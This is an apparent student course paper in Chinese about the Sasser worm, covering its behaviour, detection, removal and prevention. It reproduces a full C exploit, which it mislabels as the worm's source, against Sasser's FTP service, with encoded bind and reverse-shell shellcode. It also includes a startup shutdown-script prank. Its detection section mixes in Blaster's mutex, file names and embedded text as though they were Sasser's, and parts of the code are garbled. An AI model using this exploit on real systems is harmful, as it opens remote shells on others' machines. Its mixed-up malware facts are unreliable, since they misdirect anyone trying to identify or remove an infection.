震荡波病毒论文 (华北电力大学科技学院)- - 副本
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
题目:震荡波病毒
院系:信息工程
班级:网络12K1
学号:
学生姓名:
日期:年月日
引言
计算机病毒(Computer Virus)是编制者在计算机程序中插入的破坏计算机功能或者数据的代码,能影响计算机使用,能自我复制的一组计算机指令或者程序代码。
计算机病毒具有传播性、隐蔽性、感染性、潜伏性、可激发性、表现性或破坏性。
计算机病毒的生命周期:开发期→传染期→潜伏期→发作期→发现期→消化期→消亡期。
计算机病毒是一个程序,一段可执行码。
就像生物病毒一样,具有自我繁殖、互相传染以及激活再生等生物病毒特征。
计算机病毒有独特的复制能力,它们能够快速蔓延,又常常难以根除。
它们能把自身附着在各种类型的文件上,当文件被复制或从一个用户传送到另一个用户时,它们就随同文件一起蔓延开来。
计算机病毒可以像生物病毒一样进行繁殖,当正常程序运行时,它也进行运行自身复制,是否具有繁殖、感染的特征是判断某段程序为计算机病毒的首要条件。
计算机中毒后,可能会导致正常的程序无法运行,把计算机内的文件删除或受到不同程度的损坏。
破坏引导扇区及BIOS,硬件环境破坏。
计算机病毒通过
修改别的程序将自身的复制品或其变体传染到其它无毒的对象上,这些对象可以是一个程序也可以是系统中的某一个部件。
计算机病毒可以依附于其它媒体寄生的能力,侵入后的病毒潜伏到条件成熟才发作,会使电脑变慢。
计算机病毒具有很强的隐蔽性,可以通过病毒软件检查出来少数,隐蔽性计算机病毒时隐时现、变化无常,这类病毒处理起来非常困难。
编制计算机病毒的人,一般都为病毒程序设定了一些触发条件,例如,系统时钟的某个时间或日期、系统运行了某些程序等。
一旦条件满足,计算机病毒就会“发作”,使系统遭到破坏。
综上所术,计算机具有繁殖性、破坏性、传染性、潜伏性、隐蔽性、可触发性这六个特征。
震荡波(Shockwave)是一种电脑病毒,为I-Worm/Sasser.a的第三方改造版本。
电脑中了震荡波病毒后,它会开机以后马上出现一个对话框,上面有一个关机的倒计时,时间到了马上关机。
中了病毒的电脑将无法开机,让人头疼加蛋疼。
震荡波病毒具有以下特征:
(1)感染系统为:Windows 2000、Windows Server 2003、Windows XP、Windows 7;
(2)利用微软的漏洞:MS04-011;
(3)病毒运行后将自身复制为%WinDir%\napatch.exe;
(4)在注册表中启动
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\Run 下创建:"napatch.exe" = %WinDir%\napatch.exe;这样,病毒在Windows启动时就得以运行;
(5)在TCP端口5554建立FTP服务,用以将自身传播给其他计算机;
(6)随机在网络上搜索机器,向远程计算机的445端口发送包含后门程序的非法数据,远程计算机如果存在MS04-011漏洞,将会自动运行后门程序,打开后门端口9996。
病毒利用后门端口9996,使得远程计算机连接病毒打开的FTP
端口5554,下载病毒体并运行,从而遭到感染;
(7)病毒还会利用漏洞攻击LSASS.EXE进程,被攻击计算机的LSASS.EXE
进程会瘫痪,Windows系统将会有1分钟倒计时关闭的提示。
震荡波的原理:“开始--程序--启动”这个文件夹大家都知道,将运行程序复制在里面,所有的程序都会开机自动启动。
就像我们安装了QQ,都要进入那个“启动”文件夹,删掉里面的QQ,防止其自动启动。
震荡波病毒的原理就是,一个关机的程序被恶意复制到“启动”文件夹里。
关机程序其实很简单,就是一个VBS脚本,或者是BAT脚本。
大家可以自己制作:新建一个记事本,输入shutdown -t 60 -c "你的电脑中了病毒,必须关机",然后保存成“震荡波.BAT”,执行一下,看看效果。
然后再复制到“开始--程序--启动”里,注意:如果执行了以后是立即关机,就不要放在“开始--程序--启动”里了,否则电脑永远打不开。
计算机病毒是一个程序,一段可执行代码,震荡波病毒也是一段代码,它的源代码如下:
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#define NORM "/033[00;00m"
#define GREEN "/033[01;32m"
#define YELL "/033[01;33m"
#define RED "/033[01;31m"
#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM
#define fatal(x) { perror(x); exit(1); }
#define default_port 5554
struct {
char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },
{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },
{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;
unsigned char bsh[]=
{
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46 ,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE ,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB ,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5 ,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21 ,0xC8,0x21,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E ,0xB4,0xDF,
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89 ,0x21,0xC8,
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD ,0xBB,0xAE,
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87 ,0x55,0x22,
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF ,0x8E,0x8E,
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE ,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE ,0x18,0xD9,
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75 ,0x75,0xBA,
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE ,0xD6,0x21,
0xC8,0x21,0x0E
};
unsigned char rsh[]=
{
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46 ,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE ,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB ,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5 ,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21 ,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A ,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA ,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D ,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE ,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB ,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55 ,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};
char verbose=0;
void setoff(long GPA, long LLA)
{
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}
void usage(char *argv0)
{
int i;
printf("%s -d <host/ip> [opts]/n/n",argv0);
printf("Options:/n");
printf(" -h undocumented/n");
printf(" -p <port> to connect to [default: %u]/n",default_port); printf(" -s <'bind'/'rev'> shellcode type [default: bind]/n");
printf(" -P <port> for the shellcode [default: 530]/n");
printf(" -H <host/ip> for the reverse shellcode/n");
printf(" -L setup the listener for the reverse shell/n");
printf(" -t <target type> [default 0]; choose below/n/n");
printf("Types:/n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s/t[0x%.8x]/n", i, targets[i].os, targets[i].goreg); exit(1);
}
void shell(int s)
{
char buff[4096];
int retval;
fd_set fds;
printf("[+] connected!/n/n");
for (;;)
{
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1) fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}
if (FD_ISSET(s,&fds))
{
if ((retval = recv(s,buff,4096,0)) < 1) fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}
void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;
sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
s=socket(2,1,6);
if ( bind(s,(struct sockaddr *)&sin, 16) ) { kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}
listen(s,1);
s=accept(s,(struct sockaddr *)&sin,&slen); shell(s);
printf("crap/n");
}
int main(int argc, char **argv, char **env) { struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]=;
printf(BANNER "/n");
if (argc==1)
usage(argv[0]);
for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);
switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:5300;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x57,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}
if (verbose)
printf("verbose!/n");
if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");
sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);
printf("[.] launching attack on %s:%d../n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d./n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x53,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d./n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on %s:%d./n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);
}
printf("[.] using type '%s'/n",targets[type].os);
// -------------------- core
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}
printf("[+] connected, sending exploit/n");
buff=(char *)malloc(4096);
bzero(buff,4096);
sprintf(buff,"USER x/n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x/n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"/x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);
setoff(targets[type].gpa, targets[type].lla);
if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));
send(s,buff,strlen(buff),0);
free(buff);
close(s);
// -------------------- end of core
if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}
if (pid) wait(&pid);
exit(0);
}
病毒检测
当我们在使电脑时,要经常检测电脑是否已中毒。
下面是检测震荡波病毒的常用方法:
(1)病毒运行时会建立一个名为:"BILLY"的互斥量,使病毒自身不重复进入内存,并且病毒在内存中建立一个名为:"msblast"的进程,用户可以用任务管理器将该病毒进程终止。
(2)病毒运行时会将自身复制为:%systemdir%\msblast.exe,用户可以手动删除该病毒文件。
注意:%Windir%是一个变量,它指的是操作系统安装目录,默认是:"C:\Windows"或:"c:\Winnt",也可以是用户在安装操作系统时指定的其它目录。
(3)病毒会修改电脑里注册的
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项,在其中加入:"windows auto update"="msblast.exe",进行自启动,用户可以手工清除该键值。
(4)病毒体内隐藏有一段文本信息:
I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!
(5)当病毒攻击失败时,可能会造成没有打补丁的Windows系统RPC服务崩溃,Windows XP系统可能会自动重启计算机。
该蠕虫不能成功攻击Windows Server2003,但是可以造成Windows Server2003系统的RPC服务崩溃,默认情况下是系统反复重启。
(6)病毒检测到当前系统月份是8月之后或者日期是15日之后,就会向微软的更新站点""发动拒绝服务攻击,使微软网站的更新站点无法为用户提供服务。
当我们检测到我们的电脑已经中了震荡波病毒,我们就要对其进行杀毒,其
中最简单的有效方法就是安装杀毒软件,强力查杀,比如金山毒霸,360杀毒,电脑管家等。
处此之外,我们也可以手动在电脑上对震荡波病毒进行查杀:
第一步,先断网打补丁。
如果不给系统打上相应的漏洞补丁,则连网后依然会遭受到该病毒的攻击,用户应该先到下载相应的漏洞补丁程序,然后断开网络,运行补丁程序,当补丁安装完成后再上网。
第二步,清除内存驻留的病毒进程。
要想彻底清除该病毒,应该先清除内存中的病毒进程,用户可以按CTRL+SHIFT+ESC或者右键单击任务栏,在弹出菜单中选择“任务管理器”打开任务管理器界面,然后在内存中查找名为“avserve.exe”的进程,找到后直接将它结束。
第三步,删除病毒文件。
病毒感染系统时会在系统安装目录(默认为C:\WINNT)下产生一个名为avserve.exe的病毒文件,并在系统目录下(默认为C:\WINNT\System32)生成一些名为<随机字符串>_UP.exe的病毒文件,用户可以查找这些文件,找到后删除,如果系统提示删除文件失败,则用户需要到安全模式下或DOS系统下删除这些文件。
第四步,删除注册表键值。
该病毒会在电脑注册表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run项中建立名为“avserve.exe”,内容为:“%WINDOWS%\avserve.exe”的病毒键值,为了防止病毒下次系统启动时自动运行,用户应该将该键值删除,方法是在“运行”菜单中键入“REGEDIT”然后调出注册表编辑器,找到该病毒键值,然后直接删除。
现在电脑在人们日常生活中很常用了,也相信很多同学都有电脑中毒的经历。
电脑中毒之后运行速度会受到影响,电脑系统有时可以也会出现问题,而且有的还会盗取个人电脑隐私等。
所以防御电脑中毒也是非常重要的!因此我们在使用电脑的同时,要经常更新杀毒软件,以快速检测到可能入侵计算机的新病毒或者变种。
并且使用安全监视软件(和杀毒软件不同比如360安全卫士,瑞星卡卡)防止浏览器被异常修改,插入钩子,安装不安全恶意的插件;使用防火墙或者杀毒软件自带防火墙;关闭电脑自动播放(网上有)并对电脑和移动储存工具进行常见病毒免疫;定时全盘病毒木马扫描。
参考网站:
/itbk/software/virus/1202/2687113.html /p/1152067712
/zhuseahui/article/details/3868473
/link?url=wI1mTRbt3M1RbR229-_uK5eUMtpYRltqo0j Ml8lLnKeo_kPIim00qoDD6JQzwkvO7qcsSDGL_Omu1UzUpfBcBtI5GWcGM7vJv89gMUP ZAO_
/link?url=zn77dxKsVhohXsPvro7TrAggtnUlrq2reIrh azJKIUX5TX84z47HqQdwYkAkBhgq5cOgRdYm_54Whh5RA7go1EIS-BmsLm0Y88-Y106V dTa。